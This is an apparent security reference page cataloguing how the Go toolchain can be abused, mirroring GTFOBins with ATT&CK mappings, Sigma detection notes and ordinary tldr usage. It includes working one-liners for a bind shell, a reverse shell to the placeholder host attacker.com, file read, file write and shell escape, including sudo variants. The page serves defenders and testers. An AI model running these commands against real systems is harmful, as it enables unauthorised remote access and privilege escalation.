CmdID / Programs / Linux and Unix

go

Manage Go source code. Some subcommands such as build have their own usage documentation. tldr-pages

GTFOBins bind-shell, file-read, file-write, reverse-shell, shell 1 ATT&CK technique 5 documented commands

How go is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

file-read

run

file-write

run

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for go.

5 documented commands

from GTFOBins, each read by CmdID

bind-shell unprivileged, with sudo

echo -e 'package main\nimport (\n\t"os"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], []byte{0,0,0,0})\n\tsyscall.Bind(fd, addr)\n\tsyscall.Listen(fd, 1)\n\tnfd, _, _ := syscall.Accept(fd)\n\tsyscall.Dup2(nfd, 0)\n\tsyscall.Dup2(nfd, 1)\n\tsyscall.Dup2(nfd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

file-read unprivileged, with sudo

echo -e 'package main\nimport (\n\t"fmt"\n\t"os"\n)\n\nfunc main(){\n\tb, _ := os.ReadFile("/path/to/input-file")\n\tfmt.Print(string(b))\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

file-write unprivileged, with sudo

echo -e 'package main\nimport "os"\nfunc main(){\n\tf, _ := os.OpenFile("/path/to/output-file", os.O_RDWR|os.O_CREATE, 0644)\n\tf.Write([]byte("DATA\\n"))\n\tf.Close()\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

reverse-shell unprivileged, with sudo

echo -e 'package main\nimport (\n\t"os"\n\t"net"\n\t"syscall"\n)\n\nfunc main(){\n\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n\tip := net.ParseIP("attacker.com").To4()\n\taddr := &syscall.SockaddrInet4{Port: 12345}\n\tcopy(addr.Addr[:], ip)\n\tsyscall.Connect(fd, addr)\n\tsyscall.Dup2(fd, 0)\n\tsyscall.Dup2(fd, 1)\n\tsyscall.Dup2(fd, 2)\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, os.Environ())\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

shell unprivileged, with sudo

echo -e 'package main\nimport "syscall"\nfunc main(){\n\tsyscall.Exec("/bin/sh", []string{"/bin/sh", "-i"}, []string{})\n}' >/path/to/temp-file.go
go run /path/to/temp-file.go

Identify

None of the 5 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for go. CmdID reads the line of each that runs go.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Download and install a package, specified by its import path

go get path/to/packageIdentify

Compile and run a source file (it has to contain a main package)

go run file.goIdentify

Compile a source file into a named executable

go build -o executable file.goIdentify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.

go

How go is abused

5 documented commands

What detects it

Everyday use

Other programs abused for bind-shell